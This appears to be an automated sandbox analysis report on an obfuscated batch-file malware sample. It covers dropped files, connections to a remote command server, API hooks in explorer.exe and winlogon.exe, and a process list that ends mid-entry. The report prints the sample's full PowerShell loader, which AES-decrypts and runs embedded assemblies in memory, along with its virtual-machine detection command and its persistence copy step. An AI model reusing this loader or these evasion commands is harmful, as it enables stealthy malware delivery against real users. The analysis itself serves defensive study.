Preview:	ElfChnk.........l...............l...............@....^.....................................................................+t].................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......Q8.......................................................6......................**...............yM..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68120
Entropy (8bit):	4.32761041402411
Encrypted:	false
SSDEEP:	384:IuFREuFRromlonS6cWNfoLSbdsLSvnQYoxMtg6Wo9MtxLo9MtMozonuoxNo/Vo10:HNJJa1ZGg6ULyhf
MD5:	B5049BF19208C345EE552F79F700BF9B
SHA1:	F3B16565C3C1256E530D0042655D9302E0039E15
SHA-256:	FF5A3C02053AA8E027797201ABB5A81D4179DB3B062B4A8ABF1BFB77FCD549B1
SHA-512:	410F6C75DA9CEADF28199B029A0E7C888462FE4CFE63751CE887FE078D7A370CB20C859A9C0126B1EAC4EB28FA24C8E0819A6417505A4F1C850C54C1094E1301
Malicious:	false
Preview:	ElfChnk.................U.......U...................a\+...........................................................................................s...h...............N...=...................................................N...............................................w.......4.......................-...................................[...........).......M...R...:...........................................................&...................................................................................**......U.......d^..\M.........Wt.&........Wt...wX..9Ck?5.?.......A..3...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....\...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	69616
Entropy (8bit):	4.385074666859093
Encrypted:	false
SSDEEP:	384:3FRL8AFRL8Vsd9WhE1gHUnVlGY/eD+A4NuRfnDfaEfuQLRuLGLW7eJvGAgXZIpUf:1H8UeuXnLmLQXHmtpJnqiNHpzoQp
MD5:	3FDE910CB6B762A59680A039657BF25C
SHA1:	3FD65C18B0F41607CA79D88CE799CCDF5F0933B9
SHA-256:	B905820651EE4DFE63CD83B9762508CCF3FE8A8CEA9CA8B9A41ED80CB7AB1BC7
SHA-512:	D9EE405BC5248203BDAE4DFA60031D4F17E82FBCE9F6EC1F64469715829E826F5BD966EB9410CF9F4A6CB9DA4F46AB466E16182D9313BE2F4D389EF36FE795D1
Malicious:	false
Preview:	ElfChnk.................n.......s....................B8d.....................................................................Y.s....................s...h...............N...=...................................................N...............................................w.......0.......................E...................................W...........).......M...3...:...........................................................................................................................&...................**..0...n.......d^..\M.........i.e&........i.e.t.Q...H.C.A;.......A../...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....X...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	15064
Entropy (8bit):	3.8034400020267225
Encrypted:	false
SSDEEP:	192:b2jceB+ypybynyM/yIyHia0J+Qha/ngxuI:bQc5EY0X/nqpRo5
MD5:	60191A6ED6F36F0660A1177AD47B455C
SHA1:	E4E659C229F1400F710C26CECB31F131DC8FF7F3
SHA-256:	BFF82F0CC57CB9EE3D2217E1DCCE2A02C65CFAF33E4D78B5BB163CD1EE54E40D
SHA-512:	8194C6B8953C41F887F4550D0C5FC38B74163764C951293C64537A08E5DD47A75C9CD2BA627E31123E2C0890B63532E1FC3D32AA7242E15C4B8BADDAC3771B51
Malicious:	false
Preview:	ElfChnk.................y....................6...:...Do.......................................................................g.............................................=..........................................................................................................................._...............8...........................f...................M...c...........................n...............................................&.......................................................................**......y........z. \M.........B.&........B...._j..d.:Ad........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

\Device\Null

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2183), with CRLF line terminators
Category:	dropped
Size (bytes):	2386
Entropy (8bit):	5.705668288544162
Encrypted:	false
SSDEEP:	48:9JFHDRtmRosRBRxpB3RRKB3a3ul2tEoq69dsMiZ1d2gqnio2Un2Uu2Ui+:PFHDRtmOsz7pBBRKBkcP69G5qnio2s2h
MD5:	A4FA26BDA70CF3BB2B2A7EEFA945B4EE
SHA1:	14EF6BFEEE580A06975C38B7B9AE0D0BF48AF599
SHA-256:	B2A5890D7AFA127A3B75F7F27A1A54B23C67CC3D36BDFA3C7ADA859C94868F9D
SHA-512:	F396839A34FD7046283647C411AEB99BBE3F98D00D055B5B9FA7B65FC93B4939714F832AFB05F2BC536F7301060167F05FC6E0ACFD8B9A6053CE8B7D7140E5B3
Malicious:	false
Preview:	Windows PowerShell..Copyright (C) Microsoft Corporation. All rights reserved.....Try the new cross-platform PowerShell https://aka.ms/pscore6....PS C:\Users\user\Desktop> function aQLUy($yReKm){.$FiuGL=[System.Security.Cryptography.Aes]::Create();.$FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC;.$FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;.$FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24=');.$FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA==');.$exYAh=$FiuGL.CreateDecryptor();.$YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length);.$exYAh.Dispose();.$FiuGL.Dispose();.$YgVOo;}function mFHoz($yReKm){.Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', '');.Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', '');.Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStre

Static File Info

General

File type:	DOS batch file, ASCII text, with very long lines (3511), with CRLF line terminators
Entropy (8bit):	6.017050343783169
TrID:	BibTeX references (5501/1) 100.00%
File name:	x.bat
File size:	7'312'129 bytes
MD5:	3839596a3f33711abce263e7d890b2e9
SHA1:	185a35a99a20422843725342c374ebae76b76fdc
SHA256:	ac0c9ad2975e52b69068d331e25c0f7e1aaa2976651794b1eeadf5a3529bcaf0
SHA512:	d00d7bb5f7cdbea678b03a312df249f2f7550462a7e81151e7db960c8f05d61d91b4ba03f89bf107d8419540897b056408fd21a68b408f122aa9906a9a1f348a
SSDEEP:	49152:wDYqqQ9PgglFCYjq3HsyU+CwUp7B+Li23ovqJ+dwvnP/SRqRIEIS1x3KMb/ASHc0:h
TLSH:	867633613BD82EDF491EC62ED016BD2E23D74FA1989DA4C2C7D136830B5EB639A15C13
File Content Preview:	@echo off..%RKvQjzEhGUtCzoCqSvuaYKSBifusrwnQWHuUlxqUJiLDfoFwJELgAXS%@%RUIeelQjHDGRTIeuf%%rQZpvTzYIMLgqYPncrPlPyrBWCIOCbzqbZGbh%e%yOFfDdyAmHcGFNFTLTyysTlLwGnufqsNfzSaGJUo%%wpaMVvMLhoND%c%kEDUJWQeuVpoBfUEmcYkvVDkYAlAJXcEkvpnwMZYxXbuKxu%%RgUmPsnobsViLpvxSKdf

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:40:32.716829062 CET	49736	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:40:32.837080002 CET	4782	49736	103.230.121.81	192.168.2.4
Dec 13, 2024 13:40:32.837198973 CET	49736	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:40:32.866866112 CET	49736	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:40:32.986726046 CET	4782	49736	103.230.121.81	192.168.2.4
Dec 13, 2024 13:40:35.511522055 CET	4782	49736	103.230.121.81	192.168.2.4
Dec 13, 2024 13:40:35.511718988 CET	49736	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:40:35.518270969 CET	49736	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:40:35.638056993 CET	4782	49736	103.230.121.81	192.168.2.4
Dec 13, 2024 13:41:21.493244886 CET	49819	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:22.507673979 CET	49819	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:24.523298979 CET	49819	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:28.523338079 CET	49819	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:36.523335934 CET	49819	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:45.901159048 CET	49826	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:46.913923979 CET	49826	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:48.929656029 CET	49826	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:41:52.945255995 CET	49826	4782	192.168.2.4	103.230.121.81
Dec 13, 2024 13:42:00.945224047 CET	49826	4782	192.168.2.4	103.230.121.81

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:40:32.384555101 CET	62823	53	192.168.2.4	1.1.1.1
Dec 13, 2024 13:40:32.708169937 CET	53	62823	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 13:40:32.384555101 CET	192.168.2.4	1.1.1.1	0xc408	Standard query (0)	iam.nigga.dad	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 13:40:32.708169937 CET	1.1.1.1	192.168.2.4	0xc408	No error (0)	iam.nigga.dad		103.230.121.81	A (IP address)	IN (0x0001)	false

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	07:39:58
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\x.bat" "
Imagebase:	0x7ff6a4070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:39:58
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:39:58
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get Model
Imagebase:	0x7ff640220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:39:58
Start date:	13/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
Imagebase:	0x7ff6903c0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:39:59
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c echo function aQLUy($yReKm){ $FiuGL=[System.Security.Cryptography.Aes]::Create(); $FiuGL.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FiuGL.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FiuGL.Key=[System.Convert]::FromBase64String('Yeb/NAcCgrTp64tTdeVgDdugi9XnGFjFK2NDoLygP24='); $FiuGL.IV=[System.Convert]::FromBase64String('lhLiL9MPOAHIRlkYn9z7VA=='); $exYAh=$FiuGL.CreateDecryptor(); $YgVOo=$exYAh.TransformFinalBlock($yReKm, 0, $yReKm.Length); $exYAh.Dispose(); $FiuGL.Dispose(); $YgVOo;}function mFHoz($yReKm){ Invoke-Expression '$HdeTZ=New-Object System.IO.MemoryStream(,$yReKm);'.Replace('', ''); Invoke-Expression '$wKYjD=New-Object System.IO.MemoryStream;'.Replace('', ''); Invoke-Expression '$odkuT=New-Object System.IO.Compression.GZipStream($HdeTZ, [IO.Compression.CompressionMode]::Decompress);'.Replace('', ''); $odkuT.CopyTo($wKYjD); $odkuT.Dispose(); $HdeTZ.Dispose(); $wKYjD.Dispose(); $wKYjD.ToArray();}function tnqry($yReKm,$VDCUY){ Invoke-Expression '$KyIng=[System.Reflection.Assembly]::Load([byte[]]$yReKm);'.Replace('', ''); Invoke-Expression '$TcvQt=$KyIng.EntryPoint;'.Replace('', ''); Invoke-Expression '$TcvQt.Invoke($null, $VDCUY);'.Replace('', '');}$yFDGP = 'C:\Users\user\Desktop\x.bat';$host.UI.RawUI.WindowTitle = $yFDGP;$blPNL=[System.IO.File]::ReadAllText($yFDGP).Split([Environment]::NewLine);foreach ($nqZfK in $blPNL) { if ($nqZfK.StartsWith('tdfVh')) { $ZaBDo=$nqZfK.Substring(5); break; }}$ouiFf=[string[]]$ZaBDo.Split('\');Invoke-Expression '$pcr = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[0].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$aZk = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[1].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');Invoke-Expression '$fEm = mFHoz (aQLUy ([Convert]::FromBase64String($ouiFf[2].Replace("#", "/").Replace("@", "A"))));'.Replace('', '');tnqry $pcr $null;tnqry $aZk $null;tnqry $fEm (,[string[]] (''));
Imagebase:	0x7ff6a4070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:39:59
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:40:00
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:40:08
Start date:	13/12/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{6e38c76f-48eb-487e-9cfd-6176ccb652b5}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:40:08
Start date:	13/12/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:40:08
Start date:	13/12/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:40:09
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:40:09
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C type C:\Users\user\Desktop\x.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
Imagebase:	0x7ff6a4070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:40:09
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:40:10
Start date:	13/12/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	07:40:12
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
Imagebase:	0x7ff6a4070000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	07:40:12
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	07:40:12
Start date:	13/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get Model
Imagebase:	0x7ff640220000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:40:12
Start date:	13/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"
Imagebase:	0x7ff6903c0000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:40:16
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	07:40:16
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	07:40:16
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	07:40:16
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	07:40:17
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	07:40:19
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	07:40:19
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	07:40:20
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
